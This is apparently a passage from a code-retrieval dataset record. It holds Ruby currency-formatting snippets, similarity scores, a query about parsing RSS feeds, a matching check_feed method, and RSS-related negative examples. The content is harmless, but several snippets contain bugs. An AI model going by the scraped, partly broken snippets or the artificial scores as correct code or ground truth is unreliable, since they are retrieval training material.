puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \".1 to $0.10\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \".1\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1. to $1.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1.\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000000.99 to 1,000,000.99\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000000.99\".format_to_currency(\"\", \",\")\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000000.99 to �1.000.000.99\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000000.99\".format_to_currency(\"�\", \".\")\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000000.999 to �1:000:000.99\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000000.999\".format_to_currency(\"�\", \":\")\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n\n\n rescue => e\n\n puts2(\"*** ERROR and Backtrace: \" + e.message + \"\\n\" + e.backtrace.join(\"\\n\"),\"ERROR\")\n\n # Raise the error\n raise(\"*** TESTCASE - test_Currency_002_Format_To_Amount\")\n\n ensure\n\n end # convert_StringToCurrency\n\n\n end",
"def test_number_to_currency\n\t\tassert ActionView::Helpers::NumberHelper\n\t\tobj = ActionView::Base.new\n\t\tassert_respond_to obj, 'number_to_currency'\n\t\tassert_respond_to obj, 'orig_number_to_currency'\n\t\t\n\t\tassert_equal \"$1,234,567,890.51\", obj.number_to_currency(1234567890.506), \"NOTE: This currency test should fail if locale has different currency format\"\n\tend",
"def currency_converter amount, location\n case location\n when 'US' then \"$%.2f\" % amount\n when 'Japan' then \"$%.0f\" % amount\n when 'UK' then (\"$%.2f\" % amount).gsub('.', ',')\n end\nend",
"def currency_as_string; end",
"def test_convert_method\n convert_test = Currency_Converter.new({'USD' => 1.00, 'EUR' => 0.74}).convert( Currency.new('USD', 10), 'EUR' )\n assert_equal(Currency.new('EUR', 7.40), convert_test)\n end",
"def format\n \"#{amount} #{currency}\"\n end",
"def dollar amt\n #TOOD: need commas in the right places\n sprintf \"$%0.02f\", amt\nend",
"def convert_to(convert_currency)\n Money::Converter.new(amount, currency, convert_currency).convert \n end",
"def to_str_currency(amount)\n\n amount_fix = amount * 100\n\n return Money.new(amount_fix, \"CAD\").format\n\n end",
"def format_amount(amount)\n ActionController::Base.helpers.number_to_currency(amount.to_f / 100)\n end",
"def stringify amount, currency, opts={}\n definition = definitions[currency]\n separators = definition[:separators] || {}\n format = \"%.#{definition[:minor_unit]}f\"\n string = format % amount\n major, minor = string.split('.')\n\n major.gsub!(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/) { $1 + separators[:major] } if separators[:major] && opts[:format] != :plain\n\n string = minor ? major + (opts[:format] == :plain || !separators[:minor] ? '.' : separators[:minor]) + minor : major\n pre = [[:amount, :plain].include?(opts[:format]) && '', opts[:format] == :symbol && definition[:symbol], currency.to_s.upcase + ' '].detect{|a| a.is_a?(String)}\n\n \"#{pre}#{string}\"\n end",
"def format_money(amount)\n amount = '%.2f' % amount.to_f\n return \"$#{amount}\"\nend",
"def convert_money(currency)\n return currency.to_f / 100\n # if currency.to_s.include?(\".\")\n # return currency\n # else\n # return currency.to_f / 100\n # end\n end",
"def get_USD (num_string)\n if num_string == nil || num_string.to_i == 0\n return num_string\n end\n\n num_string = num_string.to_s.split(\"\")\n\n usd = [\"$\"]\n\n num_string.each_with_index do |num, index|\n if index == ((num_string.length) -1)\n usd << \"#{num}.00\"\n elsif index != 0 && index % 3 == 0\n usd << \",#{num}\"\n else\n usd << num.to_s\n end\n end\n return usd.join(\"\")\n end",
"def format_amount(total_amount)\r\n total_amount_array=total_amount.split(\".\")\r\n\r\n if total_amount_array[1] and total_amount_array[1].size<=1\r\n total_amount_array[1]=total_amount_array[1]+\"0\"\r\n end\r\n if total_amount_array[1]\r\n total_amount=total_amount_array[0]+total_amount_array[1]\r\n end\r\n return total_amount\r\n end",
"def format_amount(amount, currency)\n units = CURRENCY_SPECIAL_MINOR_UNITS[currency] || 2\n multiple = 10**units\n return ((amount || 0).to_d * multiple.to_d).to_i\n end",
"def currency_format string\n while string.sub!(/(\\d+)(\\d\\d\\d)/,'\\1,\\2'); end\n string\n end",
"def format_amount(amount)\n (\"%.2f\" % amount).gsub('.','').rjust(12,'0')\n end",
"def convert_to_renmibi(amount, currency)\n conversion_rate = {\n baht: 4.96,\n rupiah: 2176.96,\n aud: 0.2,\n hkd: 1.24,\n vnd: 3598.63,\n }\n amount / conversion_rate[currency.to_sym]\nend",
"def currency(amount)\n number_to_currency amount.to_s, {:unit => \"\", :delimiter => ',', :seperator => '.'}\n end",
"def to_s\n s = sprintf(\"%0.#{@currency.decimal_places}f\", amount)\n s.gsub(\".\", decimal_mark)\n end",
"def to_usd(amt, currency)\n unless currency == \"USD\"\n path = @xml_parser.find_conversion_path(currency, \"USD\")\n amount = @xml_parser.get_rates_from_xml(path[0])\n #pp path # print the path array (for debug if you need it)\n\n #conversion = find_conversion_amt(currency, \"USD\")\n else\n conversion = BigDecimal.new('1') \n end\n amt = BigDecimal(amt)\n amount = amt * conversion\n #puts \"amount is #{amount}\"\n round_banker_style(amount)\n end",
"def test_basic_conversions\n assert_equal 1.292, 1.euro\n assert_equal 0.019, 1.rupee\n assert_equal 0.013, 1.yen\n assert_equal 1, 1.dollar\n end",
"def format_price(price)\n price.gsub!(\"€\",\"\")\n price.gsub!(\".\",\"\")\n price.gsub!(\",\",\".\").to_f\n end",
"def currency_converter\n puts\"How many eros are you exchanging?\"\n amount_from = gets.chomp.to_f\n\n puts\"What is the exchange rate?\"\n rate_from = gets.chomp.to_f\n\n amount_to = ((amount_from.round(2)) * (rate_from.round(2))/1)/100\n\n\n puts \"#{amount_from} euros at a rate of #{rate_from} is #{amount_to.round(2)} USD\"\n\nend",
"def money(amount)\n number_to_currency amount.to_s, {:unit => 'R ', :delimiter => ',', :seperator => '.'}\n end",
"def to_currency(num)\n format(\"$%.2f\",num)\nend",
"def convert(amount, currency_from, currency_to)\n return Money.new(amount, currency_from).exchange_to(currency_to).fractional\n end",
"def display_currency(amount)\n '$' + ('%.2f' % amount).chomp('.00')\n end",
"def convert hash\n currency = detect_currency hash[:currency]\n return nil if currency == :not_expected\n\n amount = (hash[:amount]).delete(' _').sub(',', '.').to_f\n usdrub_rate = (usd_base_json['rates']['RUB']).to_f\n usdeur_rate = (usd_base_json['rates']['EUR']).to_f\n usdcad_rate = (usd_base_json['rates']['CAD']).to_f\n\n rate = usdrub_rate\n rate = usdrub_rate / usdeur_rate if currency == :EUR\n rate = usdrub_rate / usdcad_rate if currency == :CAD\n\n change_currency = currency != :RUB ? :RUB : :USD\n result = change_currency == :RUB ? (amount * rate) : (amount / rate)\n\n \"#{space_in result.round(2)} #{change_currency}\"\nend",
"def to_price(amount)\n amount.to_s.gsub(/[^\\d]/, \"\").gsub(/^(\\d+)(\\d{2})$/, '\\1.\\2').to_f\n end",
"def to_price(amount)\n amount.to_s.gsub(/[^\\d]/, \"\").gsub(/^(\\d+)(\\d{2})$/, '\\1.\\2').to_f\n end",
"def transaction_amount(currency_and_amount)\n currency = parse(currency_and_amount).first\n if currency == 'USD'\n amount = parse(currency_and_amount).last.to_f\n else\n amount = currency.to_f unless amount == 0.0\n end\n# self.amount = amount \n end",
"def convert_money(from_currency,to_currency)\n exchanger = Exchanger.new(find_wallet_account(from_currency),find_wallet_account(to_currency), find_exchange_rate(from_currency, to_currency))\n exchanger.exchange(:all)\n end",
"def to_currency\n reverse.scan(/(?:\\d*\\.)?\\d{1,3}-?/).join(',').reverse\n end",
"def formatted_price\n price_in_dollars = price_in_cents.to_f / 100\n sprintf(\"%.2f\", price_in_dollars) # <= What's all this business?\n end",
"def as_us_dollar\n exchange_to(\"USD\")\n end",
"def as_us_dollar\n exchange_to(\"USD\")\n end",
"def as_us_dollar\n exchange_to(\"USD\")\n end",
"def as_us_dollar\n exchange_to(\"USD\")\n end",
"def formated_in_provided_currency(amount_cents, currency_code, no_cents_if_whole = false)\n Money.new(amount_cents, currency_code).format(:no_cents_if_whole => no_cents_if_whole)\n end",
"def currency_as_string=(val); end",
"def format_money(num)\n if num == WebScraper::NOT_APPLICABLE\n num\n else\n num[num.length] = '0' if num.index('.') == num.length - 2 # add a 0 if only 1 decimal place given\n WebScraper::MONEY_UNITS + num.gsub(WebScraper::COMMAS_REG_EXP, '\\\\1,')\n end\n end",
"def to_currency(value)\n go = (value/1000000000).floor\n mo = ((value - go*1000000000)/1000000).floor\n ko = ((value - go*1000000000 - mo*1000000)/1000).floor\n o = (value - go*1000000000 - mo*1000000 - ko*1000).floor\n\n o = \"00.#{o}\" if ( (o.length) == 1 )\n o = \"0.#{o}\" if ( (o.length) == 2 )\n\n result_string = o\n result_string = \"#{ko}...#{result_string}\" if ( ko != 0 )\n result_string = \"#{mo}...#{result_string}\" if ( mo != 0 )\n result_string = \"#{go}...#{result_string}\" if ( go != 0 )\n\n result_string = @currency.result_strin\n return(result_string)\n end",
"def parse_amount amount_string\n if amount_string.index(\".\") == 0\n amount_str = \"0\"+amount_str.to_s\n end\n amount_string.gsub(/[^\\d\\.]/, \"\").scan(/\\d+\\.?\\d*/)[0].to_f rescue nil\n end",
"def convert_to_euros_1(dollars)\n dollars * 0.95 if dollars.is_a?(Numeric)\nend",
"def transform_us_to_mxn(dollars, current_value)\n dollars * current_value\nend",
"def parse_amount amount_string\n if amount_str.index(\".\") == 0\n amount_str = \"0\"+amount_str.to_s\n end\n amount_string.gsub(/[^\\d\\.]/, \"\").scan(/\\d+\\.?\\d*/)[0].to_f rescue nil\n end",
"def convert(euros, exchange_rate)\n euros * (exchange_rate / 100)\nend",
"def prepare_amount amount\n BigDecimal.new(amount)/100\n end",
"def number_to_currency(amount)\n super(amount, unit: \"₹\")\n end",
"def currency_as_string\n currency.to_s\n end",
"def currency_as_string\n currency.to_s\n end",
"def currency_amount\n # define this elsewhere\n currencymark = '$'\n if self.credit?\n sprintf(\"%s%0.2f\",currencymark,self.amount)\n else\n # put minus sign before dollar\n sprintf(\"-%s%0.2f\", currencymark, self.amount.abs)\n end\n end",
"def to_humanized(m, locale = I18n.locale)\n # TODO: Remove feature flag\n if FeatureFlagHelper.feature_enabled?(:currency_formatting)\n return \"\" if m.nil?\n\n # Explicitly resolve formatting. WebTranslateit resolves\n # translations to nils which causes an error with number_to_currency\n formatting = currency_format(locale)\n precision = m.currency.exponent.to_i\n zero_cents = \"0\" * precision\n\n number_to_currency(m.amount,\n unit: m.symbol,\n delimiter: formatting[:delimiter],\n separator: formatting[:separator],\n format: formatting[:format],\n precision: m.currency.exponent.to_i)\n .tr(\" \", \"\\u202F\")\n .gsub(\"#{formatting[:separator]}#{zero_cents}\", \"\") # remove cents if they are zero\n .encode('utf-8')\n else\n humanized_money_with_symbol(m).upcase\n end\n rescue FeatureFlagHelper::FeatureFlagHelperNotInitialized\n humanized_money_with_symbol(m).upcase\n end",
"def to_ps_money\n return nil if self.nil?\n return \"00\" if self.to_f == 0\n \n value = self.to_s\n\n # obtem a parte fracionaria e transforma em string.\n frac = value.to_f - value.to_i\n frac = frac.to_s + \"0\" \n frac = frac[2..3]\n # Se tiver parte inteira, concatena com a parte fracionaria\n inteiro = \"\"\n inteiro = value.to_i.to_s if value.to_f.truncate > 0\n inteiro + frac\n end",
"def format_currency(amount, chopOff)\n result = amount.to_s\n if chopOff\n 2.times do result.chop! end #takes off the .0\n end\n if result.length <= 3\n result = \"$\" + result\n elsif result.length >= 4 && result.length <=6\n idx = result.length - 3\n result = \"$\" + result[0,idx] + \",\" + result[(idx)..(idx + 2)]\n elsif result.length >= 7 && result.length <=9\n idx = result.length - 6\n result = \"$\" + result[0,idx] + \",\" + result[(idx)..(idx + 2)] + \",\" + \n result[(idx + 3)..(idx + 5)]\n end\n return result\n end",
"def unit_helper(number, from_unit_string, to_unit_string)\n converted_number = OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end",
"def unit_helper(number, from_unit_string, to_unit_string)\n converted_number = OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end",
"def exchange_rate\n url = \"/currencyconverter/convert/?Amount=1&From=#{from_currency.to_s.upcase}&To=#{to_currency.to_s.upcase}\"\n uri = URI.parse('https://www.xe.com')\n\n request = Net::HTTP.new(uri.host, uri.port)\n request.use_ssl = true\n response = request.get(url)\n\n doc = Nokogiri::HTML(response.body)\n result = doc.css('span.uccResultAmount').text\n\n regexp = Regexp.new('(\\\\d+(?:\\\\.\\\\d+)?)')\n regexp.match result\n\n return $1\n rescue Timeout::Error\n raise StandardError, 'Please check your internet connection'\n end",
"def currency_conversion(price = 0.0)\n exchange = 6.98\n price * exchange\nend",
"def formatted_price\n price_in_dollars = price_in_cents.to_f / 100\n sprintf(\"%.2f\", price_in_dollars)\n end",
"def convert_to_euros(dollars)\n if dollars.is_a?(Numeric)\n dollars * 0.95\n end\nend",
"def amount\n money.format(symbol: false)\n end",
"def to_currency(amount)\n number_to_currency amount, :precision => 0\n end",
"def test_converter_returns_error_for_unknown_currency\n assert_raises(UnknownCurrencyCodeError){Currency_Converter.new({'USD' => 1.00, 'JPY' => 120.0}).convert( Currency.new('JPY', 120.0), 'ALL' )}\n end",
"def result_credit\n @value = $from == 'lending' ? @@xp_txt_result : @@xp_txt_result_fees\n wait_displays(:xpath, @value, 2)\n get_result = get_element_text(:xpath, @value).gsub(/[.,$]/, '').strip\n get_result.should == $money\n end",
"def unit_helper(number, from_unit_string, to_unit_string)\n OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end",
"def price_as_string \n price_format = 0.0\n price_format = \"$%.2f\" % @price #formatstring\n price_format\n end",
"def convert_to(target_currency)\n raise Exception.new(\"'target_currency' must be different from the current currency!\") \\\n if target_currency == self.currency\n result = self.amount * conversion_rate(target_currency)\n DaMoney::Money.new(result, target_currency)\n end",
"def test_converter_takes_3_currencies\n assert_equal({'USD' => 1.00, 'EUR' => 0.74, 'JPY' => 120.0},\n Currency_Converter.new({'USD' => 1.00, 'EUR' => 0.74, 'JPY' => 120.0}).currency_list)\n end",
"def from_dollars(currency_code, amount)\n curr = RATES.fetch(currency_code)\n total = amount / curr\n return total.round(2)\nend",
"def gratuity_amount_formatted\n format_amount(gratuity_amount)\n end",
"def parse_amount_owed text_amount\n (parse_amount_cents text_amount).abs\n end",
"def as_ca_dollar\n exchange_to(\"CAD\")\n end",
"def as_ca_dollar\n exchange_to(\"CAD\")\n end",
"def as_ca_dollar\n exchange_to(\"CAD\")\n end",
"def as_ca_dollar\n exchange_to(\"CAD\")\n end",
"def test_convert_currency_one_to_two\n #AGAIN....test passes if it doesn't work\n assert_raises ArgumentError do \n @apples_to_oranges.convert_currency_one_to_two\n end\n\n @converted_value = @apples_to_oranges.convert_currency_one_to_two(@amount)\n @expected_value = @amount*@apples_to_oranges.conversion_rate\n\n # This test will pass if it is right!\n assert_equal @expected_value, @converted_value\n end",
"def price_as_string\n return \"$%.2f\" % @price.to_f #PassAll:price_as_string\n end",
"def to_money amount\n\t\t\tamount.to_f.round(2) rescue 0.0\n\t\tend",
"def to_dollars(currency_code, amount)\n curr = RATES.fetch(currency_code)\n total = amount * curr\n return total.round(2)\nend",
"def currency; end",
"def currency; end",
"def to_s(options = {})\n return amount.to_f.to_s if options[:exact]\n self.format(:symbol => false)\n end",
"def amount_to_currency(number)\n number_to_currency(number.to_f, { unit: '£' })\n end",
"def to_currency(amount)\n\n decimal = BigDecimal.new(amount.to_s)\n\n full_integer = (decimal * 100)\n\n return currency = Money.new(full_integer)\n\n end",
"def formatted_price\n price / 100.0\n end",
"def decimate(number)\n rounded = (number*100).to_i / 100.0\n if number == rounded\n usd = Money.new(number, \"USD\")\n puts \"$#{usd}:\"\n # printf \"$#{usd}:\"\n # fails\n # printf \"%.02f\\n\", number\n else\n printf \"%g\\n\", number\n end\nend",
"def activemerchant_amount\n (amount * 100).to_i\n end",
"def convert_to(to_currency)\n Money.new(self.amount * exchange_rate(to_currency), to_currency)\n end",
"def total_amount_to_s\n \"%0.2f\" % total_amount\n end",
"def amt\n amount.gsub(/,|\\)'/, '')\n end",
"def prettymoney(amount)\n '$%.2f' % cents_to_dollars(amount).to_s\n end",
"def inspect\n \"#{\"%0.02f\" % @amount} #{@base_currency}\"\n end",
"def acc_currency\n @page.css(\"span[data-semantic = 'header-available-balance-amount']\").text.to_money.currency.to_s\n end",
"def price_as_string\n output = '%.2f' % price\n \"$\"+output.to_s\nend",
"def converted_amount(other)\n (currency == other.currency ? other : other.convert_to(currency)).amount.to_f\n end",
"def convert_to(to_currency)\n\t\tfrom_currency = self.currency\n\t\trate = Money.getRate(from_currency, to_currency)\n\n\t\tconverted_amount = self.amount * rate\n\n\t\tMoney.new(converted_amount, to_currency)\n\tend",
"def tobeamount(obj)\n\t\tif obj.to_s =~ /(\\d+)([.]\\d{1,2})?/\n\t\t\tamt = $1 + ($2 || '.00')\n\t\t\treturn amt.to_f\n\t\tend\n\t\treturn nil\n\tend"
] |
[
"0.7666352",
"0.6993375",
"0.6877273",
"0.65676624",
"0.64904284",
"0.6437494",
"0.6318273",
"0.63112074",
"0.6294731",
"0.6290442",
"0.62497383",
"0.6223843",
"0.6213673",
"0.61882263",
"0.6166752",
"0.61393404",
"0.61085856",
"0.6106045",
"0.6091225",
"0.6088542",
"0.60638547",
"0.6056939",
"0.6053437",
"0.605047",
"0.60483694",
"0.6046853",
"0.60430324",
"0.60021544",
"0.5986731",
"0.5983128",
"0.5981634",
"0.5981634",
"0.5957117",
"0.5952143",
"0.59437263",
"0.5935357",
"0.59342504",
"0.59342504",
"0.59342504",
"0.59342504",
"0.59322137",
"0.5925175",
"0.5910429",
"0.5909684",
"0.5890661",
"0.58869433",
"0.5878027",
"0.58671707",
"0.5854955",
"0.5837705",
"0.5833771",
"0.58332",
"0.58332",
"0.5827696",
"0.58241457",
"0.58143073",
"0.5811234",
"0.5800419",
"0.5800419",
"0.5782239",
"0.57741994",
"0.5765351",
"0.57495207",
"0.57437086",
"0.5732954",
"0.57274204",
"0.5721887",
"0.5721634",
"0.5719507",
"0.57132745",
"0.5706006",
"0.56932044",
"0.56915015",
"0.5681957",
"0.56681806",
"0.56681806",
"0.56681806",
"0.56681806",
"0.5668063",
"0.5662845",
"0.5662653",
"0.56595206",
"0.5657845",
"0.5657845",
"0.56442463",
"0.56274176",
"0.5627052",
"0.5625832",
"0.5625465",
"0.56224495",
"0.56212807",
"0.56121624",
"0.560982",
"0.56092703",
"0.56079197",
"0.5602733",
"0.5598233",
"0.55962425",
"0.55906326",
"0.55865955"
] |
0.7910124
|
0
|
rerieve and pass the rss feed returning status information about the feed.
|
def check_feed(feed, &block)
begin
rss = RSS::Parser.parse(open(feed.link) { |s| s.read }, false)
if rss.nil?
[:ok, 1, 0]
else
cnt = rss.items.size
if block_given?
cnt = 0
rss.items.each do |item|
cnt += yield(feed,item)
end
end
[:ok, 1, cnt]
end
rescue OpenURI::HTTPError
[:error, 3, "HTTPError: #{$!.message}"] # 404 Not Found
rescue RSS::NotWellFormedError
[:error, 4, "Not Well Formed RSS: #{$!.message}"]
rescue Errno::ETIMEDOUT
[:error, 2, "Timedout"]
rescue Errno::ENOENT
[:error, 5, "No entity found: #{$!.message}"]
rescue SocketError
[:error, 5, "Couldn't connect #{$!.message}"]
rescue URI::InvalidURIError
[:error, 4, "Invalid URI, #{$!.message}"]
rescue NoMethodError
[:error, 4, "Invalid RSS? #{$!.message}"]
rescue OpenSSL::SSL::SSLError
[:error, 5, "SSLError: #{$!.class.name}"]
rescue
[:error, 9, "unknown error: [#{$!.class.name}]: #{$!.message}"]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse_feed url=rss_url, now = Time.now\n\n options = {\n user_agent: 'Geolinguist Test',\n max_redirects: 2,\n compress: true\n }\n\n\n f = Feedjira::Feed.fetch_and_parse url, options\n if f.url != rss_url.sub(RSS_SUFFIX,'')\n self.base_url = f.url.sub(RSS_SUFFIX,'').sub(SUFFIX,'')\n url = rss_url\n save\n f = Feedjira::Feed.fetch_and_parse url, options\n end\n\n\n if f.last_modified.blank?\n save_and_update_last_fetched now if self.last_fetched.blank?\n return\n end\n if last_fetched.blank? || f.last_modified > last_fetched\n puts f.inspect\n f.entries.each do |entry|\n if last_fetched.blank? || last_fetched < entry.published\n self.total_entries += 1\n body = [entry.title,entry.summary].join(\"\\n\")\n matches = LanguageRecognizer.recognize body\n if matches.blank?\n self.no_matches += 1\n else\n matches.each {|match| self[match] += 1}\n end\n end\n end\n save_and_update_last_fetched now\n end\n end",
"def run\n begin\n # make an rss_pull\n rss_pull=RssPull.new(url) rescue raise(\"This seems to be a bad URL. Did you include the http:// ?\")\n\n # set total, so we can say \"0 of 25\"\n self.total=rss_pull.num_items\n\n # Now that everything's there to start doing items, we'll run.\n self.status='running' ; save\n\n # For each item, do it, then \n # increment self.finished.\n rss_pull.each do |item|\n handle_item item\n self.finished+=1 ; save\n end\n\n # Clean up the filehandle.\n file_handle.close\n\n # And we're through.\n self.status='finished' ; save\n rescue\n file_handle.close rescue nil\n\n # If something went wrong, stuff it in self.error,\n # set the status, and we'll wait for the poller to\n # display it.\n self.error=$!.to_s\n self.status='error'\n save\n end\n end",
"def parse_feed\n remove_previous_entries\n @items = @content[\"rss\"][\"channel\"][\"item\"]\n if !@items.nil?\n for item in @items do\n item[\"pubDate\"] ||= \"\"\n item[\"creator\"] ||= \"\"\n item[\"guid\"] ||= \"\"\n item[\"title\"] ||= \"\"\n item[\"description\"] ||= \"\"\n clean_content(item[\"encoded\"] ||= \"\")\n item[\"link\"] ||= \"\"\n params = { \n :pubdate => item[\"pubDate\"], \n :creator => item[\"creator\"], \n :guid => relative_link(item[\"guid\"]), \n :title => item[\"title\"], \n :description => item[\"description\"], \n :content => @content, \n :link => relative_link(item[\"link\"])\n }\n insert_entry(params)\n end\n end\n end",
"def rss\n @headers[\"Content-Type\"] = \"application/xml\"\n @articles = Article.find(:all, \n :order => 'created_at DESC',\n :conditions => [\"articles.approved = ?\", true],\n :limit => 10\n )\n render :layout => false\n end",
"def refresh_feed(feed)\n FeedRefreshManager.refresh feed, self\n end",
"def update!\n raise(RuntimeError, \"can't fetch without a uri.\") unless @uri\n\n res = @http.get(@uri, \"Accept\" => \"application/atom+xml\")\n\n if @etag and res['etag'] == @etag\n # we're already all up to date\n return self\n elsif res.code == \"410\"\n raise Atom::FeedGone, \"410 Gone (#{@uri})\"\n elsif res.code != \"200\"\n raise Atom::HTTPException, \"Unexpected HTTP response code: #{res.code}\"\n end\n\n # we'll be forgiving about feed content types.\n res.validate_content_type([\"application/atom+xml\",\n \"application/xml\",\n \"text/xml\"])\n\n @etag = res[\"ETag\"] if res[\"ETag\"]\n\n xml = res.body\n\n coll = REXML::Document.new(xml)\n\n update_el = REXML::XPath.first(coll, \"/atom:feed/atom:updated\", { \"atom\" => Atom::NS } )\n\n # the feed hasn't been updated, don't do anything.\n if update_el and self.updated and self.updated >= Time.parse(update_el.text)\n return self\n end\n\n coll = self.class.parse(coll.root, self.base.to_s)\n merge! coll\n\n if abs_uri = next_link\n @next = self.class.new(abs_uri.to_s, @http)\n end\n\n if abs_uri = previous_link\n @prev = self.class.new(abs_uri.to_s, @http)\n end\n\n self\n end",
"def get_rss_feed( rss_url )\n\t\tfeed = false\n\t\tuntil feed.class == Feedzirra::Parser::RSS\n\t\t\tfeed = Feedzirra::Feed.fetch_and_parse( rss_url )\n\t\tend\n\t\tfeed\n\tend",
"def process_feed(url, limit=200)\n rss = SimpleRSS.parse open(url)\n rss.items.each_with_index do |item, index|\n puts \"Parsing RSS item #{item.title}\"\n screenshoot(item.link, to_filename(item.title, IMG_FILENAME_SIZE))\n puts \"... donez\"\n puts \"\"\n break if index == limit-1\n end \nend",
"def update_from_feed()\n\t\t\n\t@links = Link.all \n\n\t@links.each do |link| \n\n\t\tfeed = Feedzirra::Feed.fetch_and_parse(link.url)\n\n\t\tputs \"pulling feeds\"\n\t\tfeed.entries.each do |entry|\n\n\t\t\tif entry.published > link.updated_at\n\n\t\t\t\tif entry.url =~ /^#{URI::regexp}$/\n\t\t\t\t\tfind_keywords(entry.url, link.tags)\n\t\t\t\t\tputs entry.url\t\n\t\t\t\telse\n\t\t\t\t\tputs \"bad url\"\n\t\t\t\t\tputs entry.url\t\n\t\t\t\tend\n\t\t\t\t\t\n\t\t\tend\n\t\tend\n\n\tend\n\nend",
"def feed\r\n # check for valid access key:\r\n user = User.find_by_rss_access_key(params[:access_key])\r\n @authorized = !user.blank?\r\n\r\n # get the folder\r\n @folder = Folder.find_by_id(folder_id)\r\n\r\n # set appriopriate instance variables,\r\n # so the feed can be created in folder.rxml\r\n if @authorized and not @folder.blank?\r\n if @folder.is_root or user.can_read(@folder.id)\r\n @folders = @folder.list_subfolders(user, 'name')\r\n @myfiles = @folder.list_files(user, 'filename')\r\n else\r\n @authorized = false\r\n end\r\n end\r\n\r\n # finally, set correct header\r\n if @authorized\r\n headers['Content-Type'] = 'text/xml'\r\n else\r\n headers['Content-Type'] = 'text/html'\r\n end\r\n end",
"def fetch_feed\n endpoint = @current_feed.values.first\n\n begin\n document = SimpleRSS.parse(URI.open(endpoint, 'User-Agent' => 'Ruby-wget'))\n rescue StandardError => e\n puts \"Error: <#{e}> while trying to call <#{@current_feed_link}>\"\n # effectively skip document\n document = { title: Rss::NO_VALUE, items: {} }\n end\n\n # Ensuring string access instead of symbol access.\n # I know there's probably a better way to do this...\n # but I can't remember if with_indifferent_access is\n # a rails thing...\n @cache[@current_feed.keys.first] = JSON.parse(document.items.to_json)\n end",
"def rss\n @events = Post.find(:all, {:conditions=> \"status=public\"},:order => \"id DESC\")\n render :layout => false\n headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def update_from_feed(feed_url)\n\t\tputs \"pulling feeds\"\n\t\tfeed = Feedzirra::Feed.fetch_and_parse(feed_url)\n\t\t# feed.last_modified - if it's been modified since last time\n\t\tfeed.entries.each do |entry|\n\t\t\t# if the post occured after it was last checked\n\t\t\tfind_keywords(entry.url)\n\t\t\tputs entry.url\n\t\t\t# call the keyword check and save on the actual post url\t\n\t\tend\nend",
"def feed!\n http_fetch(feed_url)\n end",
"def fetch\n options = {:on_success => method(:success), :on_failure => method(:failure), :timeout => 30}\n feed = Feedzirra::Feed.fetch_and_parse(self.feed_url, options)\n rescue Exception => e\n puts \"Failure fetching feed: #{e.message}\" \n end",
"def get_feed(url, opts)\n\n opts.extra = Hash.new\n opts.extra[\"Connection\"] = \"close\"\n # some sites need User-Agent field\n opts.extra[\"User-Agent\"] = \"RSSClient/2.0.9\"\n\n # Ask for changes (get 304 code in response)\n # opts.since is Time::\n if not opts.forceUpdate and opts.since\n time = Time.parse(opts.since.to_s)\n opts.extra[\"If-Modified-Since\"] = time.httpdate() if time\n end\n\n begin\n @rssc_raw = get_url(url, opts)\n return nil unless @rssc_raw\n\n case @rssc_raw.status\n when 200 # good\n when 301, 302 # follow redirect ...\n @rssc_raw = get_url(@rssc_raw.header[\"Location\"], opts)\n return nil unless @rssc_raw\n\n when 304 # Not modified - nothing to do\n return nil\n\n # errors\n when 401\n raise RuntimeError, \"access denied, \" + @rssc_raw.header['WWW-Authenticate'].to_s\n when 404\n raise RuntimeError, \"feed [ #{url} ] not found\"\n else\n raise RuntimeError, \"can't fetch feed (unknown response code: #{@rssc_raw.status})\"\n end\n\n return nil unless @rssc_raw.content\n\n # Parse the raw RSS\n begin\n FeedNormalizer::FeedNormalizer.parse(@rssc_raw.content, :try_others => true)\n rescue NoMethodError\n # undefined method `channel' for #<RSS::Atom::Feed:0x9f03b70>\n # try a simpler parser ...\n FeedNormalizer::FeedNormalizer.parse(@rssc_raw.content,\n :try_others => true, :force_parser => FeedNormalizer::SimpleRssParser\n )\n end\n rescue RuntimeError => error\n @rssc_error = error\n return nil\n end \n end",
"def update\n @feed = current_user.feeds.find params[:id]\n current_user.refresh_feed @feed\n\n head :ok\n rescue => e\n handle_error e\n end",
"def feed\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.rss\n end\n end",
"def rss # :nologin:\n @logs = RssLog.all(conditions: \"datediff(now(), updated_at) <= 31\",\n order: \"updated_at desc\", limit: 100,\n include: [:name,\n :species_list,\n { observation: :name }\n ])\n render_xml(layout: false)\n end",
"def feed\r\n @posts = Post.all(:order => \"created_at DESC\")\r\n respond_to do |format|\r\n format.rss\r\n end\r\n end",
